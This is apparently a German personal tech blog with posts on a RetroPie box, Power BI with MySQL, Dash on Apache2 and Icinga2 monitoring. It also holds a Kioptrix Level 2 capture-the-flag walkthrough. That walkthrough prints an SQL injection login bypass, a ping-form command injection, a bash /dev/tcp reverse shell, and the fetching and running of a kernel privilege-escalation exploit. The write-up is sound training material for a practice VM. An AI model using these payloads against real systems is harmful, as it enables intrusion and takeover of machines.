Raspberry: portable Retropie-Box

Vor geraumer Zeit habe ich mir einen Raspberry Pi4, genauer die 8GB Variante, in eine Holzbox von TEDI verbaut. Die Box bietet mir Raum für den Kontroller, als auch 2 Powerbanks für die Stromversorgung. Da ich noch einen 7″ Monitor hatte, kam mir die Idee, diesen für eine portable Box mit Retropie zu benutzen. Dementsprechend habe ich mir die Holzbox erworben und nach meinen Vorgaben umgestaltet.

Box mit Skizze

Die Größe des Displays habe ich aus dem Deckel geschnitten. Zuvor hatte ich mir die Maße aufs Holz gezeichnet.

Box

Die kleinen Platten für die einzelnen Behälter habe ich dafür benutzt, mir meine individuelle Größe zu gestalten. So habe ich nun 3 unterschiedlich große Behälter, jeweils für die Powerbanks, für den Kontroller und für die Kabel.
In den Seiten habe ich verschieden Einkerbungen für z.B. USB Kabel geschnitten. Nichtdestotrotz ist die Box komplett portabel und benötigt, solange die Powerbank genug Energie liefert, keine angeschlossenen Kabel.

Kompletter Aufbau

Als OS kommt natürlich retropie zum Einsatz. Somit kann ich unterschiedliche Emulatoren benutzen, um die unterschiedlichsten Spiele zu spielen. Diese müssen selbstverständlich als Rom zur Verfügung stehen.

Box mit Controller

Zurzeit benutze ich den N64 Emulator am meisten. Dort habe ich z.B. Donkey Kong 64 und Super Mario 64, zwei Spiele, die mich in meiner Kindheit begleitet haben :).

Microsoft Power BI mit Mysql DB verbinden

Power BI ist ein Business Tool von Microsoft. Es ermöglicht Daten zu visualisieren und mit diesen zu interagieren, z.B. anhand eigenkreierter Dashboards. Die Daten können dabei von unterschiedlichen Datenquellen geladen werden, unter anderem Excel, SQL, Azure und viele mehr. Der Power BI Desktop ist die kostenlose Variante und die Version, die ich verwende. Neben dem Desktop gibt es noch die Power BI Pro und Premium Variante. Beide Varianten haben natürlich mehr Funktionalitäten, haben aber auch einen monatlichen Aufpreis. Da ich meine Daten hauptsächlich in einer Mysql Datenbank gespeichert habe, wollte ich diese Datenquelle an Power BI anbinden. Die Einstellungsmöglichkeit existiert, ist allerdings etwas versteckt. Klickt dazu auf “Daten abrufen” im Menu und wählt dort “Weitere”.

weitere Datenquellen abrufen

Es öffnet sich ein weiteres Fenster mit wesentlich mehr wählbaren Datenquellen, unteranderem auch für die MySQL-Datenbank.

Daten abrufen

Wählt ihr diesen aus, so erscheint, falls ihr die benötigten Komponenten nicht schon installiert habt, folgende Nachricht. Folgt dem Link hinter “Weitere Informationen” und gelangt auf die Seite, wo die fehlenden Komponenten bezogen werden können.

Fehlermeldung

Auf der Seite sucht ihr euer Betriebssystem und klickt auf Download. Ihr werdet automatisch auf die nächste Seite weitergeleitet.

Mysql Community Downloads

Ihr solltet eine Loginmaske sehen. Man könnte meinen, es wäre eine Registrierung bzw. ein Login nötig, um die Software zu laden. Dem ist nicht so. Sucht nach dem Punkt “No thanks, just start my download und ladet euch die benötigte Software. Nach der Installation startet ihr Power BI, falls ihr es nicht vorher geschlossen habt und ruft “MySQL-Datenbank” wieder auf. Dieses mal solltet ihr keine Benachrichtigung bekommen und den Server bzw. die Datenbank eintragen können.

Mysql Datenbank Server

Bestätigt eure Eingabe und gebt euren Datenbank User ein.

Mysql Datenbank

Wenn der Connect erfolgreich war, öffnet Power BI euch den Datenbank Navigator, mit dem ihr eure Tabellen auswählen könnt.

Elementenvorschau

Nach der Auswahl stehen euch die Datenbank Tabellen im Bericht zur Verfügung.

Dash mit Apache2 installieren

Hast du dich jemals gefragt, wie du Dash(Plotly) mit Apache2 installierst? Mit diesem Blog Eintrag möchte ich dich mit auf die Reise nehmen, Apache2 für dash zu konfigurieren. So wie viele andere ist Apache2 ein Webserver, mit dem du deine Seite veröffentlichen kannst und somit auch deine dash-app. Dash ist ein framework um schöne Dashboards in python zu kreieren. Wenn du interessiert bist, was mit dash möglich ist, folge diesen Link.

Dash selber kommt mit einem kleinen Webserver. Dieser ist jedoch nur für die Entwicklung gedacht. Aufgrund der Sicherheit sollte dieser also nicht für die Veröffentlichung benutzt werden. Der Entwickler empfiehlt dies ebenfalls nicht. Während der Entwicklung habe ich virtualenv benutzt, um so meine Umgebung zu isolieren und unterschiedliche dash bzw. python Versionen gegenüber meinen regulären Server zu benutzen. Sobald ich meine Entwicklung abgeschlossen habe, kopiere ich diesen Ordner nach /var/www/html/ und somit auch die virtuelle Umgebung.

cp -p /<path>/Dash /var/www/html/Dash

Für Apache2 wird noch eine Abhängigkeit benötigt, um dash lauffähig zu machen. Die Version unterscheidet sich mit der Python Version. Für Python 3 installiere bitte folgendes Modul: libapache2-mod-wsgi-py3

sudo apt-get install libapache2-mod-wsgi-py3

Falls du nicht genau weißt, was wsgi ist, hilft dieser Link weiter: http://wsgi.tutorial.codepoint.net/
Kurz erklärt ist wsgi eine Schnittstellen Spezifizierung, wie Server und Applikation kommunizieren können. Ich habe meine wsgi Datei hier erzeugt: /var/www/html/Dash/wsgi.py.

#cat wsgi.py
import sys
sys.path.insert(0,"/var/www/html/Dash/")
from app import server as application

Das app in “from app import server as application” steht für meinen Dash-Dateinamen. Du wirst wahrscheinlich einen anderen Dateinamen mit deinem Code haben.

Apache2 konfigurieren

Zusätzlich müssen wir Apache2 noch einrichten. Es gibt mehrere Wege Dash in Apache lauffähig zu machen. Ich beschreibe es hier mit einer weiteren Portfreigabe. Zurzeit lauscht Apache2 nur auf den Port 80/443. Für unsere Applikation müssen wir einen Neuen wie 8050 hinzufügen. Ändere deine ports.conf in /etc/apache2/ und füge einen zweites Listen ein.

#cat ports.conf
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80
Listen 8050

[...]

Sobald dies getan ist, können wir eine neue Seite in Apache2 erstellen. Erzeuge dafür eine neue Datei in /etc/apache/sites-available/. Ich habe meine dash.conf benannt, aber das ist soweit dir überlassen.

#user@server:/etc/apache2/sites-available# cat dash.conf
<VirtualHost *:8050>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html/Dash

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        WSGIDaemonProcess Dash threads=5 user=www-data group=www-data python-path=/var/www/html/Dash python-home=/var/www/html/Dash/bin
        WSGIScriptAlias / /var/www/html/Dash/wsgi.py

        <Directory /var/www/html/Dash>
                <Files wsgi.py>
                        #Require all granted 
                        AuthType Basic #required for Authentication
                        AuthName <name> #required for Authentication
                        AuthUserFile "/<path>/.htusers" #required for Authentication
                        Require valid-user #required for Authentication
                </Files>
                WSGIProcessGroup Dash
                WSGIApplicationGroup %{GLOBAL}
                Order deny,allow
                Allow from all
        </Directory>

</VirtualHost>

*Bitte beachte, dass die Kofiguration schon den Code für die Basic Authentication im nächsten Kapitel enthält.

WSGIDaemonProcess läuft mit dem Benuter/Gruppe www-data. Dies ist meist der Benutzer den Apache2 benutzt. Es sollte soweit gesetzt werden, um Apache2 zu beschränken.
Wir können nun die Seite aktiv schalten.

a2ensite dash

a2ensite benutzt unserer Datei in sites-available, um ein Symlink in sites-enable zu erstellen.

Da unser WSGIProcess mit www-data Rechten läuft, müssen wir diesen Benutzer/Gruppe Zugriff auf unserem Ordner erteilen. Der Besitzer(root) hat Vollzugriff und die Gruppe(www-data) darf lesen und ausführen. Andere haben keinen Zugriff auf den Ordner.

ls -ltr /var/www/html/
drwxr-x--- 9 root www-data  4096 Sep 28 15:28 Dash

Benutze dafür die Kommandos chmod bzw. chown. Ich musste die Einstellung, wie unten angegeben, vornehmen. Bei dir könnte es jedoch leicht abweichen. Das “-R” steht für rekursive Ausführung.

chown -R :www-data Dash/
chmod -R o-rw Dash/

Falls du dich nicht chmod/chown auskennst, hilft dieser Link dir weiter: https://www.unixtutorial.org/difference-between-chmod-and-chown/#:~:text=The%20chmod%20command%20stands%20for,a%20user%20and%20a%20group.

Dash Konfigurieren

Wenn du bis hierher gekommen bist, so ist dein Dash-Code nun dran. Bitte füge die folgende Zeile hinzu “server = app.server”.

server = app.server
if __name__ == '__main__':
    app.run_server(debug=True,host='0.0.0.0',port='8050')

Zu guter Letzt kommt die Portfreigabe in der Firewall. Iptables und ufw sind die meist bekanntesten. Falls du Iptables benutzt, wie ich, sollte dies den Port freigeben.

iptables -I INPUT 3 -p tcp --dport 8050 -j ACCEPT

Dies berechtigt jeden deine Seite zu sehen. Natürlich kannst du deine Seite weiter absichern, indem du z.B. einige IP-Blöcke ausgrenzt, aber das habe ich hier soweit nicht gemacht. Dies ist soweit die einfachste Möglichkeit, den Port freizugeben.

Sichere deine App mit Basic Authentication ab

Normalerweise unterstützt dash Basic Authentication mit dem python Code, aber ich habe es in der Live-Umgebung nicht hinbekommen, dass dies funktioniert. Ich erhielt zwar die Benutzer/Password Maske, aber egal was ich eintrug, ich wurde nicht weitergeleitet und musste Benutzer/Password erneut eingeben. So entschied ich mich dafür dies mittels htpasswd umzusetzen.

htpasswd -c -B <filename(ie. .htusers)> <username>

Während der Ausführung wird dich das Programm nach einem Passwort für deinen Benutzer fragen. Danach wird eine Datei erzeugt, die du, wie oben in der dash.conf beschrieben, verlinken solltest.

Das wars, dash sollte nun mit deinem Apache2 kommunizieren können. In meinem nächsten Artikel werde ich näher auf die Apps eingehen, die ich entwickelt habe.

Viel Glück bei der Einrichtung 🙂

Kioptrix Level 2

Was ist Kioptrix?

Kioptrix Level 2 ist eine VM Challenge. Das Ziel ist es, root Zugriff auf dem System zu erlangen. Dies kann auf unterschiedliche Weise passieren. Der Zweck dieser “Spiele” ist es, die Basics und Techniken von Schwachstellen zu erlernen und zu kompromittieren. Dies Hilft dabei Verständnisse eines Hackers aufzubauen, selbst Schwachstellen zu finden und gegebenenfalls diese auch zu schließen. Laden könnt ihr euch die jeweilige VM auf der vulnhub Seite:

Zum Starten benötigt ihr einen VM Player. Dazu könnt ihr den VM Player von VMWare oder den Virtualbox von Oracle verwenden. Ich persönlich verwende die Virtualbox.

Welcome to Kioptrix Level 2 Penetration and Assessment Environment


–The object of this game:
|_Acquire “root” access to this machine.


There are many ways this can be done, try and find more then one way to
appreciate this exercise.


DISCLAIMER: Kioptrix is not resposible for any damage or instability
caused by running, installing or using this VM image.
Use at your own risk.


WARNING: This is a vulnerable system, DO NOT run this OS in a production
environment. Nor should you give this system access to the outside world
(the Internet – or Interwebs..)


Good luck and have fun!

Kioptrix 2 kompromittieren

Informationsbeschaffung

Als erster Schritt in diesem Tutorial ermitteln wir die IP Adresse der virtuellen Maschine. Diese befindet sich natürlich im eigenen lokalen IP Bereich, also lasse ich alle IPs im 192.168.178.0 Netz mit NMAP scannen und ermittel somit die Hosts, die zurzeit online sind.

nmap -sn 192.168.188.0/24

Meine VM hat die 192.168.188.77 zugewiesen bekommen. Nun starte ich einen weiteren NMAP Scan, um alle möglichen offenen Ports auf dem Host zu finden.

nmap -sN 192.168.188.77 -r -sV 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-23 10:31 CEST
Nmap scan report for 192.168.188.77
Host is up (0.0011s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http       Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind    2 (RPC #100000)
443/tcp  open  ssl/https?
631/tcp  open  ipp        CUPS 1.1
3306/tcp open  mysql      MySQL (unauthorized)
MAC Address: 08:00:27:C3:FF:FC (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.85 seconds

Einer der gefundenen offenen Ports ist der HTTP-Port(80). Gehen wir also nun davon aus, dass die VM auch eine Seite hostet und versuchen diese zu ermitteln. Geben wir dabei http://192.168.188.77 im Browser ein, so finden wir eine Seite mit einem Login-Bereich.

Login Seite

Der Versuch einer SQL Injection

Benutzername = admin 
Passwort = ' OR '1'='1

war erfolgreich und somit sind wir auf die nächste Seite geleitet worden, wo wir einen Ping-Command bedienen können.

Web Konsole
Warum funktioniert hier SQL Injection?

Mit dem obigen “Passwort” manipulieren wir die SQL Query, die im Web Code enthalten ist. Der eigentliche Code parst unsere Eingabe nicht und somit können wir die Query manipulieren, in dem wir eine ‘OR ‘1’ = ‘1 mit übergeben. Somit überprüft der Code ob wir den Benutzer mit Password haben ODER ob 1 = 1 ist. Da 1 immer 1 ist und auch bleibt, werden wir auf die nächste Seite weitergeleitet. Mit der Code-Injection, weiter unten, können wir die SQL-Query auslesen. Ich greif hier mal vorweg und benutze zur Erklärung genau diese Query. Im PHP Code finden wir diesen Bereich:

$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";

Benutzen wir nun unser Passwort, so sieht die Query wie folgt aus:

"SELECT * FROM users WHERE username = '$username' AND password='' OR '1'='1'"

Query erhält somit also den Status “True” und wir können uns anmelden.

Code Injection

Bei dem Ping-Command können wir eine IP angeben und die Page gibt uns das Resultat wieder zurück. Versuchen wir nun weiteren Code anzuhängen, kommen wir zu der Überzeugung, dass auch hier unsere Eingabe nicht geparst wird.

192.168.188.1; ls -ltr

Auch hier bekomme ich den Ping zurück, aber er fügt zusätzlich noch die Dateistruktur an, die ich mit ls -ltr ermittelt habe. Mit der Code-Injection haben wir schon gegenwärtig Zugriff auf das System, auch wenn es nur mit Rechten des Apache2 läuft.

192.168.188.1; ls -ltr

PING 192.168.188.1 (192.168.188.1) 56(84) bytes of data.
64 bytes from 192.168.188.1: icmp_seq=0 ttl=64 time=1.02 ms
64 bytes from 192.168.188.1: icmp_seq=1 ttl=64 time=0.558 ms
64 bytes from 192.168.188.1: icmp_seq=2 ttl=64 time=0.631 ms

--- 192.168.188.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.558/0.737/1.023/0.205 ms, pipe 2
total 8
-rwxr-Sr-t  1 root root  199 Oct  8  2009 pingit.php
-rwxr-Sr-t  1 root root 1733 Feb  9  2012 index.php

Nehmen wir dies nun zum Anlass und schauen uns das PHP-Skript an. Übergebt also folgendes:

192.168.188.1; cat index.php

Damit könnt ihr euch das Skript ausgeben lassen.

mysql_select_db("webapp");
	
	if ($_POST['uname'] != ""){
		$username = $_POST['uname'];
		$password = $_POST['psw'];
		$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
		//print $query."
";
		$result = mysql_query($query);

		$row = mysql_fetch_array($result);
		//print "ID: ".$row['id']."
";
	}
Reverse Shell

Durch die Command-Injection können wir nun auch versuchen eine Reverse-Shell zu injizieren. Für die Reverse-Shell verwende ich netcat auf dem Kali System.

nc -lvp 4444
listening on [any] 4444 ...

Netcat lauscht jetzt auf dem Port 4444 und wartet auf eine Verbindung. Gehen wir also wieder zurück zu unserer Ping-Seite. Dort müssen wir nichts anderes machen, als eine Shell zu unserem Kali aufzubauen.

192.168.188.1; bash -i >& /dev/tcp/192.168.188.78/4444 0>&1

Habt ihr soweit alles richtig gemacht, haben wir eine Shell in unserem Terminal

192.168.188.77: inverse host lookup failed: Unknown host
connect to [192.168.188.78] from (UNKNOWN) [192.168.188.77] 36082
bash: no job control in this shell
bash-3.00$

Da wir zurzeit noch als apache User angemeldet sind, haben wir unser Ziel noch nicht erreicht. Durch eine sogenannte “Privilege Escalation” sollten wir an unsere root Rechte rankommen. Dafür benötigen wir die Distributioninformationen und Kernelinformationen

uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 athlon i386 GNU/Linux

cat /etc/*-release
CentOS release 4.5 (Final)

Bemühen wir uns also und suchen nach einem Exploit

searchsploit -w linux 2.6 CentOS

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ --------------------------------------------
 Exploit Title                                                                                                                                                                                                                                                                |  URL                                       
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ --------------------------------------------
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation                                                                                                                                  | https://www.exploit-db.com/exploits/9545
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5)                                                                                                                                         | https://www.exploit-db.com/exploits/9479
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)                                                                                                                                          | https://www.exploit-db.com/exploits/9542
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1)                                                                                                                                                                                         | https://www.exploit-db.com/exploits/25444
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation                                                                                                                                                        | https://www.exploit-db.com/exploits/45516
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ -------------------------------------------

Ich habe mich soweit für https://www.exploit-db.com/exploits/9545 entschieden.

Diesen Code gilt es nun auf dem Kioptrix zu installieren. Dafür stellen wir die Datei über einem Http-Server bereit, womit wir diese laden können. Da die Datei bei mir schon als Exploit vorhanden ist, kann ich diese einfach in meinem http-Ordner kopieren. Von dort aus starte ich dann auch den Http-Server.

rtf@kali-pc:~/http$ cp -p /usr/share/exploitdb/exploits/linux/local/9545.c .

rtf@kali-pc:~/http$ python -m SimpleHTTPServer 80

Mittels wget laden wir diese auf unserem Remote Host herunter. Da wir selber keine Schreibrechte im apache Ordner haben, müssen wir uns einen Ordner suchen, wo auch wir schreiben dürfen. /tmp/ wäre z.B. solch ein Ordner.

bash-3.00$ cd /tmp  
                   
bash-3.00$ wget http://192.168.188.78/9545.c
--10:01:14--  http://192.168.188.78/9545.c
           => `9545.c'
Connecting to 192.168.188.78:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,783 (9.6K) [text/plain]

    0K .........                                             100%  207.33 MB/s

10:01:14 (207.33 MB/s) - `9545.c' saved [9783/9783]


bash-3.00$ ls -ltr
total 12
-rw-r--r--  1 apache apache 9783 Aug 14 01:01 9545.c

Damit hätten wir die Datei auf unserem Kioptrix – Fehlt nur noch die Kompilierung zum Ausführen des Codes.

bash-3.00$ gcc -o escalation 9545.c
9545.c:376:28: warning: no newline at end of file

bash-3.00$ ls -ltr
total 20
-rw-r--r--  1 apache apache 9783 Aug 14 01:01 9545.c
-rwxr-xr-x  1 apache apache 6762 Aug 23 10:05 escalation

bash-3.00$ ./escalation
sh: no job control in this shell

Überprüfen wir nun, ob die Escalation erfolgreich war

whoami
root

BINGO! Die Escalation war erfolgreich und wir sind nun root. Ich wünsche euch viel Spaß mit Kioptrix Level 2

Icinga2 check by ssh

Neben dem Agenten, der für die Ausführung der Checks beim Client verantwortlich ist, gibt es auch noch den Check über ssh(check_by_ssh). Im Gegensatz zum Agent muss hierbei nicht eine Icinga Instanz auf dem Remote Host laufen. Die Plugins, bzw. die Checks sollten trotz-alledem auf dem Client vorhanden sein. Die Ausführung läuft dabei über den Port 22(ssh) und nicht wie beim Agent auf Port 5665. Der ssh Port ist meistens schon geöffnet, daher muss auch keine weitere Portfreigabe in der Firewall eingerichtet werden. 

Damit die Plugins auf dem Client vorhanden sind, installieren wir diese. 

root@client:~ sudo apt install nagios-plugins

Icinga führt die checks über ssh aus und dies verlangt im Normalfall das Passwort vom Benutzer, mit dem wir uns anmelden wollen. Dies umgehen wir, indem wir ein privaten Schlüssel erzeugen und den öffentlichen Schlüssel mit dem Client teilen. Der User, mit dem die Icinga Instanz läuft, muss auch auf dem Remote Host angelegt werden. Ermitteln wir die laufenden Icinga Prozesse, sehen wir, dass unsere Instanz mit dem nagios Benutzer läuft.

pi@server:~ $ ps -aux | grep -i icinga
pi         725  0.0  0.0   7360   540 pts/0    S+   08:13   0:00 grep --color=auto -i icinga
nagios   26752  0.9  0.6  80788 24492 ?        Ssl  Aug01   7:31 /usr/lib/arm-linux-gnueabihf/icinga2/sbin/icinga2 --no-stack-rlimit daemon --close-stdio -e /var/log/icinga2/error.log
nagios   26790  0.1  0.1  57556  5796 ?        S    Aug01   1:32 /usr/lib/arm-linux-gnueabihf/icinga2/sbin/icinga2 --no-stack-rlimit daemon --close-stdio -e /var/log/icinga2/error.log
postgres 26820  0.3  0.6 206692 24996 ?        Ss   Aug01   3:01 postgres: 11/main: rtf icinga_ido ::1(40910) idle in transaction

Legen wir diesen Benutzer nun auf dem Client an.

root@client:~ useradd -m nagios
root@client:~ passwd nagios

Um weiter fortfahren zu können, müssen wir uns als nagios auf dem Server anmelden. Der Shell Zugriff ist aber meist für diesen Benutzer gesperrt, sodass wir eine Fehlermeldung bekommen sollten. Falls eine ähnliche Nachricht wie “This account is currently not available.” kommt, müsst ihr den Benutzer noch für die Shell freischalten. Ersetzt dafür in der /etc/passwd “/usr/sbin/nologin” mit “/bin/bash”.

root@server:~ grep nagios /etc/passwd
nagios:x:110:115::/var/lib/nagios:/usr/sbin/nologin

root@server:~ vi /etc/passwd

root@server:~ grep nagios /etc/passwd
nagios:x:110:115::/var/lib/nagios:/bin/bash

Nun sollte ein Login möglich sein.

root@server:~ sudo su - nagios

Falls der Login erfolgreich war, können wir das Schlüssel Paar anlegen.

nagios@server:~$ ssh-keygen -b 4096 -t rsa -C "nagios@$(hostname) user for check_by_ssh" -f $HOME/.ssh/id_rsa

Von dem erzeugten Schlüsselpaar müssen wir den öffentlichen Schlüssel zum Client übertragen. Dies könnt ihr manuell machen oder mit ssh-copy-id, den wir hier soweit benutzen. In diesem Zusammenhang werden wir einmal nach dem Passwort abgefragt, damit der Schlüssel übertragen werden kann.

nagios@server:~$ ssh-copy-id -i $HOME/.ssh/id_rsa nagios@client
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/var/lib/nagios/.ssh/id_rsa.pub"
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys


nagios@client's password: 

Number of key(s) added: 1

Now try logging into the machine, with:   "ssh 'nagios@client'"
and check to make sure that only the key(s) you wanted were added.

Da wir den “server” nun als autorisierten Schlüssel beim Client eingetragen haben, sollte der Login ohne Passwort erfolgen.

nagios@server:~ ssh nagios@client

Sind wir erfolgreich angemeldet, können wir uns vom Client wieder abmelden. Entfernen wir nun wieder den Zugriff auf die Shell für den nagios Benutzer auf dem Server. Das Passwort sperren wir ebenfalls, dass es nicht mehr geändert werden kann.

root@server:~ vi /etc/passwd

root@server:~ grep nagios /etc/passwd
nagios:x:110:115::/var/lib/nagios:/usr/sbin/nologin

root@server:~ passwd -l nagios

Icinga2 Service + Host einrichten

Wir sind nun fast am Ende, allerdings fehlt noch der Service und die Änderungen am Host. Ein Service könnte unter in etwa so aussehen, das ist soweit euch überlassen:

apply Service "users" {
  import "generic-service"
  check_command = "by_ssh"

  vars.by_ssh_command = [ "/usr/lib/nagios/plugins/check_users" ]

  // Follows the same principle as with command arguments, e.g. for ordering
  vars.by_ssh_arguments = {
    "-w" = {
      value = "$users_wgreater$" // Can reference an existing custom variable defined on the host or service, evaluated at runtime
    }
    "-c" = {
      value = "$users_cgreater$"
    }
  }

  vars.users_wgreater = 3
  vars.users_cgreater = 5

  assign where host.vars.os == "Linux" && host.vars.agent_type == "ssh"
}

Für die Client-Host Datei legen wir noch die Variable vars.agent_type an und setzten den Wert “ssh”, damit dieser zum Service verknüpft wird.

object Host "client" {
        import "generic-host"
        vars.agent_type = "ssh"
        address = "192.168.188.37"
        check_command = "hostalive"
        vars["os"] = "Linux"
        version = 1596120607.191147
        zone = "raspberrypi"
}

Zu guter letzt legen wir noch einen Endpoint für den Client in der zones.conf an. Damit sollte der Icinga Master/Satellite seine Abfragen an den Endpoint schicken.

object Endpoint "client" {
host = "192.168.188.37"
}

object Zone "client" {
parent = NodeName
endpoints = [ "client" ]
}

Die Einrichtung ist nun komplett abgeschlossen. Falls alles funktioniert hat, sollte nun ein weiterer Service für den Client in icinga2web zu sehen sein.

icinga checkbyssh

Icinga Linux remote client einrichten

Damit Icinga auch optimal genutzt wird, sollten Clients installiert werden. Dabei gibt es mehrere Möglichkeiten diese zu überwachen. Die eine ist mit dem Icinga Agent, den ich hier beschreiben werde. Die andere über ssh, die ich in “Icinga2 check by ssh” beschrieben habe. Icinga benötigt dafür ein Master + Satellite/Agent Aufbau. 

Rollenmodell
  • Ein master hat kein weiteres Elternknoten
    • Icinga Web 2 ist normalerweise auf dem master installiert
    • Ein master fügt die Informationen vom Kindknoten in das Backend oder generiert Benachrichtigungen
  • Ein Satellite hat ein Eltern- und ein Kindknoten
    • Der Satellite kann die Konfiguration für Hosts/services vom Elternknoten erhalten
    • Ein Satellite kann eigene checks ausführen, aber diese auch weiterleiten
    • Ein Satellite kann auch dann weiterlaufen, wenn der master nicht verfügbar ist
  • Ein agent hat immer nur Elternknoten
    • Ein agent führt entweder seine eigenen checks aus oder erhält diese vom Elternknoten

Da ich mein Icinga nur für den privaten Gebrauch verwende, macht für mich ein Cluster keinen Sinn. Auch ein Satellite ist nicht in Verwendung, sodass der Master die Checks direkt zum Agent schickt. Für den Client installieren wir das Icinga2 Packet. In der Regel kommen damit auch die Plugins/Checks mit.

root@client:~$ sudo apt install icinga2

Client Node Wizard

Nun können wir das Setup für den Agent auf dem Client ausführen. Das Setup führt euch durch jeden einzelnen Punkt und fragt euch einige Sachen ab. Meinen Durchlauf habe ich euch hier niedergeschrieben. “raspberrypi” ist dabei mein Master.

root@client:~# icinga2 node wizard
Welcome to the Icinga 2 Setup Wizard!

We will guide you through all required configuration details.

Please specify if this is a satellite/client setup ('n' installs a master setup) [Y/n]: Y

Starting the Client/Satellite setup routine...

Please specify the common name (CN) [clientname]:

Please specify the parent endpoint(s) (master or satellite) where this node should connect to:
Master/Satellite Common Name (CN from your master/satellite node): raspberrypi

Do you want to establish a connection to the parent node from this node? [Y/n]: Y
Please specify the master/satellite connection information:
Master/Satellite endpoint host (IP address or FQDN): 192.168.188.67
Master/Satellite endpoint port [5665]:

Add more master/satellite endpoints? [y/N]: N
Parent certificate information:

 Subject:     CN = raspberrypi
 Issuer:      CN = Icinga CA
 Valid From:  Apr 26 19:50:56 2020 GMT
 Valid Until: Apr 23 19:50:56 2035 GMT
 Fingerprint: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX

Is this information correct? [y/N]: y

Please specify the request ticket generated on your Icinga 2 master (optional).
 (Hint: # icinga2 pki ticket --cn 'clientname'):

No ticket was specified. Please approve the certificate signing request manually
on the master (see 'icinga2 ca list' and 'icinga2 ca sign --help' for details).
Please specify the API bind host/port (optional):
Bind Host []:
Bind Port []:

Accept config from parent node? [y/N]: y
Accept commands from parent node? [y/N]: y

Reconfiguring Icinga...
Disabling feature notification. Make sure to restart Icinga 2 for these changes to take effect.
Enabling feature api. Make sure to restart Icinga 2 for these changes to take effect.

Local zone name [clientname]:
Parent zone name [master]: raspberrypi

Default global zones: global-templates director-global
Do you want to specify additional global zones? [y/N]: N

Do you want to disable the inclusion of the conf.d directory [Y/n]: n

Done.

Now restart your Icinga 2 daemon to finish the installation!
root@retropie:~# systemctl restart icinga2

Den Neustart bitte nicht vergessen.

Das Setup wizard stellt sicher, dass folgende Aufgaben gemacht sind:

  • Das api Feature aktivieren
  • Eine Zertifikat-Signierunganfrage(CSR) für den eigenen Knoten erzeugen
  • Erlauben das Zertifikat vom Elternknoten zu verifizieren
  • Das signierte Agent/Satellite Zertifikat + ca.crt in /var/lib/icinga2/certs ablegen
  • zones.conf mit der neuen Zonen Hierarchie updaten
  • Update von /etc/icinga2/features-enabled/api.conf (accept_config, accept_commands) und constants.conf
  • Update von /etc/icinga2/icinga2.conf und include_recursive “conf.d” auskommentieren

 Mit dem Wizard haben wir eine Signierungsanfrage an den Master geschickt. Diese gilt es nun zu akzeptieren. Suchen wir erst die Anfrage raus und kopieren uns den Fingerprint. Diesen benötigen wir für die Signierung.

root@master:~# icinga2 ca list

Fingerprint                                                      | Timestamp                | Signed | Subject
-----------------------------------------------------------------|--------------------------|--------|--------
<fingerprint> | Jul 30 17:23:36 2020 GMT |       | CN = clientname

Nehmen wir nun den Fingerprint und benutzen ihn im folgenden Snippet

root@master:~# icinga2 ca sign <fingerprint>
information/cli: Signed certificate for 'CN = clientname'.

Endpoint einrichten

Unserem Master müssen wir nun noch den neuen Endpoint bekannt machen und einer Zone zuordnen. Das machen wir in der /etc/icinga2/zones.conf. Nehmt dort folgende Änderungen vor.

#NodeName ist in constants.conf definiert
#NodeName ist bei mir 'raspberrypi'


object Endpoint NodeName {
  host = NodeName
}

object Zone ZoneName {
  endpoints = [ NodeName ]
}

# Endpoint einrichten
object Endpoint "clientname" {
  host = "clientip"
}


object Zone "clientname" {
  parent = NodeName
  endpoints = [ "clientname" ]
}

Dem Endpoint müsst ihr nur noch Services zuordnen und diese werden nach einem Neustart der Instanz vom Master beim Endpoint/Client abgefragt. Ebenfalls habe ich die Variable vars.client_endpoint in den Host eingebracht.

object Host "clientname" {
        import "generic-host"

        address = "clientIP"
        check_command = "hostalive"
        vars["os"] = "Linux"
        vars.remote_client = name
        vars.client_endpoint = name
        version = 1596036000.782959
}

Damit der Service hinzugezogen wird, ist das “assign where” anzupassen. Mit “host.vars_client_endpoint” wird überprüft, ob dieser im Host gesetzt ist. Falls dies der Fall ist, wird der Service dem Host angeknüpft.

apply Service "users" {
  import "generic-service"
  check_command = "users"
  command_endpoint = host.vars.client_endpoint
  assign where host.name == NodeName || host.vars.os == "Linux" && host.vars.client_endpoint
}

Meteor Neowise

